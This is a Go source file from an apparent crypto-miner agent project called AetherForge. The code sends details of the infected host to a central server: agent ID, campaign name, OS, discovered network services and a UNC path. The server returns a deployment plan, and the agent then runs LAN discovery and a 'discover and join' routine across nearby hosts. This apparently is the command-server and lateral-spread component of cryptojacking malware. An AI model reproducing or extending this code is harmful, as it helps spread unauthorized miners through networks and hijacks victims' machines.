Files
AetherForge/agent/client/discover_join.go

88 lines
2.2 KiB
Go

package client
import (
"bytes"
"encoding/json"
"fmt"
"io"
"net/http"
"os"
"runtime"
"strings"
"time"
"crypto-miner-agent/deploy"
)
func (c *AgentClient) setJoinLane(lane string) {
c.mu.Lock()
c.joinLane = strings.TrimSpace(lane)
c.mu.Unlock()
}
func (c *AgentClient) getJoinLane() string {
c.mu.Lock()
defer c.mu.Unlock()
return c.joinLane
}
func (c *AgentClient) fetchDeployPlan(services []deploy.DeployServiceFinding, uncPath string) (deploy.DeployPlanResponse, error) {
var out deploy.DeployPlanResponse
base, err := c.apiBaseURL(c.cfg.ServerURL)
if err != nil {
return out, err
}
body, _ := json.Marshal(map[string]interface{}{
"agent_id": c.agentID,
"build_id": c.cfg.BuildID,
"campaign": strings.TrimSpace(os.Getenv("AETHER_CAMPAIGN")),
"platform": runtime.GOOS,
"services": services,
"unc_path": uncPath,
})
req, err := http.NewRequest(http.MethodPost, base+"/agent/deploy-plan", bytes.NewReader(body))
if err != nil {
return out, err
}
req.Header.Set("Content-Type", "application/json")
req.Header.Set("X-Fleet-Secret", c.cfg.FleetSecret)
client := &http.Client{Timeout: 60 * time.Second}
resp, err := client.Do(req)
if err != nil {
return out, err
}
data, _ := io.ReadAll(resp.Body)
resp.Body.Close()
if resp.StatusCode == http.StatusForbidden {
return out, fmt.Errorf("deploy-plan auth rejected")
}
if resp.StatusCode != http.StatusOK {
return out, fmt.Errorf("deploy-plan HTTP %s: %s", resp.Status, strings.TrimSpace(string(data)))
}
if err := json.Unmarshal(data, &out); err != nil {
return out, err
}
if !out.OK && out.Error != "" {
return out, fmt.Errorf("%s", out.Error)
}
if out.JoinLane == "" && out.Plan.JoinLane != "" {
out.JoinLane = out.Plan.JoinLane
}
out.OK = true
return out, nil
}
func (c *AgentClient) runDiscoverAndJoin(maxLANHosts int) (string, error) {
fetch := func(services []deploy.DeployServiceFinding, uncPath string) (deploy.DeployPlanResponse, error) {
return c.fetchDeployPlan(services, uncPath)
}
lane, detail, err := deploy.RunDiscoverAndJoin(c.cfg, maxLANHosts, fetch)
if err != nil {
return "", err
}
if lane != "" {
c.setJoinLane(lane)
}
return fmt.Sprintf("join_lane=%s; %s", lane, detail), nil
}